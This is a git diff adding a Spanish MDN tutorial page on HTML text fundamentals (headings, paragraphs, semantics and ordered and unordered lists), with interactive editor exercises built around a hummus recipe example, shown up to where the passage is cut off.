+<ol>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Pon tu trabajo en un editor que se pueda compartir en línea, como</span></span>  <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, o <a href="https://glitch.com/">Glitch</a>. <span class="tlid-translation translation" lang="es"><span title="">Puede escribir el código usted mismo o utilizar los archivos de punto de inicio vinculados en las secciones anteriores.</span></span></li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Escriba una publicación solicitando evaluación y / o ayuda en el</span></span>  <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. <span class="tlid-translation translation" lang="es"><span title="">Tu publicación debe incluir:</span></span>
+  <ul>
+   <li><span class="tlid-translation translation" lang="es"><span title="">Un título descriptivo como "Se busca evaluación para la prueba de habilidad de texto avanzado HTML 1".</span></span></li>
+   <li><span class="tlid-translation translation" lang="es"><span title="">Detalles de lo que ya ha probado y lo que le gustaría que hiciéramos, p. Ej.</span> <span title="">si está atascado y necesita ayuda, o quiere una evaluación.</span></span></li>
+   <li><span class="tlid-translation translation" lang="es"><span title="">Un enlace al ejemplo que desea evaluar o con el que necesita ayuda, en un editor que se puede compartir en línea (como se mencionó en el paso 1 anterior).</span> <span title="">Esta es una buena práctica para entrar: es muy difícil ayudar a alguien con un problema de codificación si no puede ver su código.</span></span></li>
+   <li><span class="tlid-translation translation" lang="es"><span title="">Un enlace a la página de la tarea o evaluación real, para que podamos encontrar la pregunta con la que desea ayuda.</span></span></li>
+  </ul>
+ </li>
+</ol>
diff --git a/files/es/learn/html/introduccion_a_html/texto/index.html b/files/es/learn/html/introduccion_a_html/texto/index.html
new file mode 100644
index 0000000000..912acb7dfe
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/texto/index.html
@@ -0,0 +1,970 @@
+---
+title: Fundamentos de texto en HTML
+slug: Learn/HTML/Introduccion_a_HTML/texto
+tags:
+  - CodingScripting
+  - Encabezados
+  - Estructuras
+  - Guía
+  - HTML
+  - Introducción a HTML
+  - Novato
+  - Principiante
+  - Párrafos
+  - Texto
+  - aprende
+  - semántica
+translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">Una de las principales funciones de HTML es dar al texto estructura y significado (también conocido como {{Glossary("semantics", "semántica")}}), de forma que un navegador pueda mostrarlo correctamente. Este articulo explica la forma en que se puede usar {{Glossary("HTML")}} para estructurar una página de texto añadiendo encabezados y párrafos, enfatizando palabras, creando listas y más.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Estar familiarizado con el HTML básico, que se expone en {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a marcar una página de texto básica para darle estructura y significado, incluidos párrafos, encabezados, listas, efectos de énfasis y citas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Conceptos_básicos_Encabezados_y_párrafos">Conceptos básicos: Encabezados y párrafos</h2>
+
+<p>La mayor parte del texto estructurado está compuesto por encabezados y párrafos, independientemente de si lees una historia, un periódico, un libro de texto, una revista, etc.</p>
+
+<p><img alt="Un ejemplo de la portada de un periódico, que muestra el uso de un encabezado, subtítulos y párrafos de nivel superior." src="https://mdn.mozillademos.org/files/12371/newspaper_small.jpg" style="display: block; margin: 0 auto;"></p>
+
+<p>El contenido estructurado simplifica la experiencia en la lectura y se disfruta más.</p>
+
+<p>En HTML, cada párrafo tiene que estar delimitado por un elemento {{HTMLElement("p")}}, como en este ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Soy un párrafo, ¡desde luego que lo soy!&lt;/p&gt;</pre>
+
+<p>Cada sección tiene que estar delimitada por un elemento de encabezado:</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Yo soy el título de la historia&lt;/h1&gt;</pre>
+
+<p>Hay seis elementos de encabezado: {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} y {{HTMLElement("h6")}}. Cada elemento representa un nivel de contenido diferente en el documento; <code>&lt;h1&gt;</code> representa el título principal, <code>&lt;h2&gt;</code> representa el subtítulo, <code>&lt;h3&gt;</code> representa el subtítulo del subtítulo, y así sucesivamente.</p>
+
+<h3 id="Cómo_establecer_la_estructura_jerárquica">Cómo establecer la estructura jerárquica</h3>
+
+<p>Por ejemplo, en esta historia, <code>&lt;h1&gt;</code> representa el título de la historia, <code>&lt;h2&gt;</code> representará el título de cada capítulo y <code>&lt;h3&gt;</code> las diferentes secciones del capítulo, y así sucesivamente.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;El agujero aplastante&lt;/h1&gt;
+
+&lt;p&gt;Por Chris Mills&lt;/p&gt;
+
+&lt;h2&gt;Capítulo 1: La oscura noche&lt;/h2&gt;
+
+&lt;p&gt;Era una noche oscura. En algún lugar, un búho ululó. La lluvia azotó el ...&lt;/p&gt;
+
+&lt;h2&gt;Capítulo 2: El silencio eterno&lt;/h2&gt;
+
+&lt;p&gt;Nuestro protagonista ni susurrar pudo al ver esa sombría figura ...&lt;/p&gt;
+
+&lt;h3&gt;El espectro habla&lt;/h3&gt;
+
+&lt;p&gt;Habían pasado varias horas más, cuando de repente el espectro se incorporó y exclamó: "¡Por favor, ten piedad de mi alma!"&lt;/p&gt;</pre>
+
+<p>Realmente es a tu elección lo que cada elemento involucrado represente, siempre y cuando la jerarquía tenga sentido. Solo es necesario que tengas en cuenta unas pocas buenas prácticas mientras creas la estructura:</p>
+
+<ul>
+ <li>Preferentemente debes usar solo un <code>&lt;h1&gt;</code> por página; este es el nivel de título superior, y todos los demás se sitúan por debajo de él en la jerarquía.</li>
+ <li>Asegúrate de que usas los títulos en el orden correcto en la jerarquía. No uses los <code>&lt;h3&gt;</code> para representar subtítulos, seguidos de los <code>&lt;h2&gt;</code> para representar los subtítulos de los subtítulos; eso no tiene sentido y provocará resultados extraños.</li>
+ <li>De los seis niveles de títulos disponibles, debes procurar no usar más de tres por página, a menos que creas que es realmente necesario. Los documentos con muchos niveles (es decir, una jerarquía de títulos muy profunda) son de difícil manejo y navegación. En esos casos se recomienda, si es posible, separar el contenido en varias páginas.</li>
+</ul>
+
+<h3 id="¿Por_qué_necesitamos_estructura">¿Por qué necesitamos estructura?</h3>
+
+<p>Para responder a esta cuestión, echemos un vistazo a <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a>; el apartado inicial de nuestro ejemplo en curso para este artículo (una buena receta de hummus). Debes guardar una copia de este archivo en tu ordenador porque después la necesitarás para los ejercicios prácticos. El cuerpo (<code>&lt;body&gt;</code>) de este documento incluye varios elementos de contenido que no están marcados de ninguna manera pero están separados por saltos de línea (se ha pulsado <strong>Intro</strong>/<strong>Retorno</strong> para continuar en la siguiente línea).</p>
+
+<p>Sin embargo, cuando abres el documento en tu navegador, verás que el texto aparece... ¡como una masa enorme!</p>
+
+<p><img alt="Una página web que muestra un muro de texto sin formato, porque no hay elementos en la página para estructurarlo." src="https://mdn.mozillademos.org/files/12972/text-no-formatting.png" style="display: block; height: 420px; margin: 0px auto; width: 594px;"></p>
+
+<p>Esto se debe a que no hay elementos que den estructura al contenido, por lo que el navegador no sabe qué es un encabezado y qué es un párrafo. Además:</p>
+
+<ul>
+ <li>Los usuarios que miran una página web tienden a escanearla rápidamente para encontrar el contenido relevante que hay en ella y a menudo empiezan por leer los encabezados para comenzar. (Solemos <a href="http://www.nngroup.com/articles/how-long-do-users-stay-on-web-pages/">pasar muy poco tiempo en una página web</a>). Si no pueden ver nada útil en unos segundos, es probable que se sientan frustrados y se vayan a otro sitio.</li>
+ <li>Los motores de búsqueda que indizan tu página consideran el contenido de los títulos como palabras clave importantes e influyen en la puntuación de búsqueda de la página. Sin encabezados, tu página tendrá un rendimiento bajo en términos de optimización de motores de búsqueda {{Glossary("SEO")}}.</li>
+ <li>Las personas con discapacidad visual severa no suelen leer páginas web: en lugar de ello, las escuchan. Lo hacen con un software llamado {{interwiki("wikipedia", "Lector de pantalla")}}. Este software proporciona acceso rápido a un contenido textual dado. Entre las diversas técnicas que emplean, leen los encabezados para proporcionar un esquema del documento que permite a los usuarios encontrar rápidamente la información que quieren. Si no hay encabezados disponibles, se ven obligados a escuchar el documento entero. </li>
+ <li>Para aplicar estilos al contenido con {{Glossary("CSS")}}, o para que haga cosas interesantes con {{Glossary("JavaScript")}}, necesitas tener elementos que delimiten el contenido relevante para que CSS/JavaScript se puedan focalizar en este efectivamente.</li>
+</ul>
+
+<p>Por lo tanto, debemos dar a nuestro contenido una estructura definida.</p>
+
+<h3 id="Aprendizaje_Activo_Dar_estructura_a_nuestro_contenido">Aprendizaje Activo: Dar estructura a nuestro contenido</h3>
+
+<p>Pasemos directamente a un ejemplo real. En el ejemplo de abajo, añade elementos al texto en bruto en el campo <em>Código editable</em> para que en el campo <em>Salida en vivo</em> aparezcan como un encabezado y dos párrafos.</p>
+
+<p>Si te equivocas, siempre puedes restablecer el código anterior pulsando el botón <em>Restablecer</em>. Si encallas, pulsa el botón <em>Mostrar solución</em> para ver la respuesta...</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible">Código reproducible</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;Mi breve relato Soy estadístico y mi nombre es Trish.
+
+Mis piernas son de cartón y estoy casada con un pez.&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;h1&gt;Mi breve relato&lt;/h1&gt;\n&lt;p&gt;Soy estadístico y mi nombre es Trish.&lt;/p&gt;\n&lt;p&gt;Mis piernas son de cartón y estoy casada con un pez.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="¿Por_qué_necesitamos_semántica">¿Por qué necesitamos semántica?</h3>
+
+<p>Contamos con la semántica para todo lo que nos rodea. Nos basamos en experiencias previas para conocer la función de cada objeto cotidiano; cuando miramos un objeto, sabemos cuál debe ser su función. Entonces, por ejemplo, esperamos que un semáforo en rojo signifique "alto" y que un semáforo en verde signifique "avance". Las cosas se pueden complicar muy rápidamente si se aplica la semántica incorrecta. (¿Algún país usa rojo para significar "avance"? Esperemos que no).</p>
+
+<p>De manera similar, debemos asegurarnos de que utilizamos los elementos adecuados y damos a nuestro contenido el significado y función correctos y la apariencia adecuada. En este mismo sentido, el elemento {{HTMLElement("h1")}} es un elemento semántico que da al texto al que delimita la función (o significado) de un <em>titular de primer nivel en tu página</em>.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Este es un titular de primer nivel&lt;/h1&gt;</pre>
+
+<p>De manera predeterminada, el navegador le asignará una fuente de gran tamaño para darle el aspecto de un titular (aunque se le podrá dar el estilo que se quisiera usando CSS). Lo más importante es que su valor semántico se va a usar de diferente manera, por ejemplo, por los motores de búsqueda y los lectores de pantalla (como se mencionó antes).</p>
+
+<p>Por otra parte, podrías hacer que cualquier elemento <em>parezca</em> un titular de primer rango. Considera lo siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;span style="font-size: 32px; margin: 21px 0;"&gt;¿Es este un titular de primer rango?&lt;/span&gt;</pre>
+
+<p>Este es un elemento {{HTMLElement("span")}}. No tiene semántica. Se usa para delimitar contenido cuando se le quiere aplicar CSS (o tratarlo con JavaScript) sin proporcionarle ningún significado extra (encontrarás más información sobre este tipo de elemento más adelante en el curso). Hemos aplicado CSS a este elemento para que parezca un titular de primer nivel, pero al no tener valor semántico, no tiene ninguna de las ventajas añadidas que hemos descrito antes. Es una buena idea usar el elemento HTML apropiado para cada tarea.</p>
+
+<h2 id="Listas">Listas</h2>
+
+<p>Ahora volvamos nuestra atención hacia las listas. Las listas están en todos los aspectos de nuestra vida: desde la lista de compras a la lista de instrucciones que sigues inconscientemente para llegar a casa todos los días, o las listas de instrucciones que sigues en estos tutoriales. Las listas están en todos lados en la web también y hay tres diferentes tipos de las que nos vamos a ocupar.</p>
+
+<h3 id="Listas_no_ordenadas">Listas no ordenadas</h3>
+
+<p>Las listas no ordenadas se usan para marcar listas de artículos cuyo orden no es importante. Tomemos como ejemplo una lista de compras:</p>
+
+<pre class="brush: bash notranslate">leche
+huevos
+pan
+hummus</pre>
+
+<p>Cada lista desordenada comienza con un elemento {{HTMLElement("ul")}} («<em>unordered list</em>») que delimita todos los elementos de la lista:</p>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+leche
+huevos
+pan
+hummus
+&lt;/ul&gt;</pre>
+
+<p>El siguiente paso es delimitar cada artículo de la lista con un elemento {{HTMLElement("li")}} («<em>list item</em>»).</p>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;leche&lt;/li&gt;
+  &lt;li&gt;huevos&lt;/li&gt;
+  &lt;li&gt;pan&lt;/li&gt;
+  &lt;li&gt;hummus&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Aprendizaje_activo_marcar_una_lista_no_ordenada">Aprendizaje activo: marcar una lista no ordenada</h4>
+
+<p>Edita el siguiente ejemplo para crear tu propia lista HTML no ordenada.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible_2">Código reproducible</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;leche
+huevos
+pan
+hummus&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;ul&gt;\n&lt;li&gt;leche&lt;/li&gt;\n&lt;li&gt;huevos&lt;/li&gt;\n&lt;li&gt;pan&lt;/li&gt;\n&lt;li&gt;hummus&lt;/li&gt;\n&lt;/ul&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible_2', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Listas_ordenadas">Listas ordenadas</h3>
+
+<p>Las listas ordenadas son aquellas en las que el orden de los elementos <em>sí</em> importa. Tomemos como ejemplo una lista de instrucciones para seguir un itinerario:</p>
+
+<pre class="brush: bash notranslate">Conduce hasta el final de la calle
+Gira a la derecha
+Sigue derecho por las dos primeras glorietas
+Gira a la izquierda en la tercer glorieta
+El colegio está a la derecha, 300 metros más adelante</pre>
+
+<p>La estructura de marcado es la misma que para las listas no ordenadas, excepto que debes delimitar los elementos de la lista con una etiqueta {{HTMLElement("ol")}} («ordered list»), en lugar de <code>&lt;ul&gt;</code>:</p>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;Conduce hasta el final de la calle&lt;/li&gt;
+  &lt;li&gt;Gira a la derecha&lt;/li&gt;
+  &lt;li&gt;Sigue derecho por las dos primeras glorietas&lt;/li&gt;
+  &lt;li&gt;Gira a la izquierda en la tercer glorieta&lt;/li&gt;
+  &lt;li&gt;El colegio está a tu derecha, 300 metros más adelante&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="Aprendizaje_activo_Marcar_una_lista_ordenada">Aprendizaje activo: Marcar una lista ordenada</h4>
+
+<p>Edita el siguiente ejemplo para crear tu propia lista ordenada en HTML.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible_3">Código reproducible</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 200px; width: 95%"&gt;Conduce hasta el final de la calle
+Gira a la derecha
+Sigue derecho por las dos primeras glorietas
+Gira a la izquierda en la tercer glorieta
+La escuela está a tu derecha, 300 metros por más adelante&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;ol&gt;\n&lt;li&gt;Conduce hasta el final de la calle&lt;/li&gt;\n&lt;li&gt;Gira a la derecha&lt;/li&gt;\n&lt;li&gt;Sigue derecho por las dos primeras glorietas&lt;/li&gt;\n&lt;li&gt;Gira a la izquierda en la tercer glorieta&lt;/li&gt;\n&lt;li&gt;La escuela está a tu derecha, 300 metros más adelante&lt;/li&gt;\n&lt;/ol&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible_3', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Aprendizaje_activo_marcar_la_página_de_tu_receta">Aprendizaje activo: marcar la página de tu receta</h3>
+
+<p>Llegados a este punto del artículo, tienes toda la información necesaria para marcar la página de ejemplo con tu receta. Puedes escoger entre guardar una copia local del archivo inicial <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> y trabajar en él, o hacerlo sobre el ejemplo editable de abajo. Probablemente sea mejor trabajar en tu copia local porque podrás guardar tu progreso, mientras que si lo haces sobre el ejemplo editable, los cambios se perderán la próxima vez que cargues la página. Ambos métodos tienen pros y contras.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible_4">Código reproducible</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 200px; width: 95%"&gt;Receta rápida de hummus
+
+  Esta receta hace un hummus rápido y sabroso, sin ensuciar. Ha sido adaptada de varias recetas diferentes que he leído a lo largo de los años.
+
+  El hummus es una deliciosa pasta espesa que se usa mucho en platos griegos y del Medio Oriente. Es muy sabroso con ensalada, carne a las brasas y pan de pitta.
+
+  Ingredientes
+
+  1 lata (400g) de garbanzos (garbanzos)
+  175g de tahini
+  6 tomates secos
+  Medio pimiento rojo
+  Una pizca de pimienta de cayena
+  1 diente de ajo
+  Una pizca de aceite de oliva
+
+  Instrucciones
+
+  Retira la piel del ajo y pica en trozos grandes.
+  Retira todas las semillas y el tallo del pimiento y pica en trozos grandes.
+  Agrega todos los ingredientes en un procesador de alimentos.
+  Procesa todos los ingredientes en una pasta
+  Si deseas un hummus "grueso", procésalo corto tiempo
+  Si deseas un hummus "suave", procésalo por más tiempo
+
+  Para un sabor diferente, puedes intentar mezclar en una pequeña medida de limón y cilantro, ají, lima y chipotle, harissa y menta, o espinacas y queso feta. Pruébalo y confirma que esté en su punto.
+
+  Almacenamiento
+
+  Refrigera el hummus terminado en un recipiente sellado. Deberías poder usarlo durante aproximadamente una semana después de haberlo hecho. Si comienza a burbujear, definitivamente debes desecharlo.
+
+  El hummus es apto para congelar; debes descongelarlo y usarlo en un par de meses.&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;h1&gt;Receta rápida de hummus&lt;/h1&gt;\n\n&lt;p&gt;Esta receta hace un hummus rápido y sabroso, sin ensuciar. Ha sido adaptada de varias recetas diferentes que he leído a lo largo de los años.&lt;/p&gt;\n\n&lt;p&gt;El hummus es una deliciosa pasta espesa que se usa mucho en platos griegos y del Medio Oriente. Es muy sabroso con ensalada, carne a las brasas y pan de pitta.&lt;/p&gt;\n\n&lt;h2&gt;Ingredientes&lt;/h2&gt;\n\n&lt;ul&gt;\n&lt;li&gt;1 lata (400g) de garbanzos (garbanzos)&lt;/li&gt;\n&lt;li&gt;175g de tahini&lt;/li&gt;\n&lt;li&gt;6 tomates secos&lt;/li&gt;\n&lt;li&gt;Medio pimiento rojo&lt;/li&gt;\n&lt;li&gt;Una pizca de pimienta de cayena&lt;/li&gt;\n&lt;li&gt;1 diente de ajo&lt;/li&gt;\n&lt;li&gt;Una pizca de aceite de oliva&lt;/li&gt;\n&lt;/ul&gt;\n\n&lt;h2&gt;Instrucciones&lt;/h2&gt;\n\n&lt;ol&gt;\n &lt;li&gt;Retira la piel del ajo y pica en trozos grandes.&lt;/li&gt;\n&lt;li&gt;Retira todas las semillas y el tallo del pimiento, y pica en trozos grandes.&lt;/li&gt;\n&lt;li&gt;Agrega todos los ingredientes en un procesador de alimentos.&lt;/li&gt;\n&lt;li&gt;Procesa todos los ingredientes en una 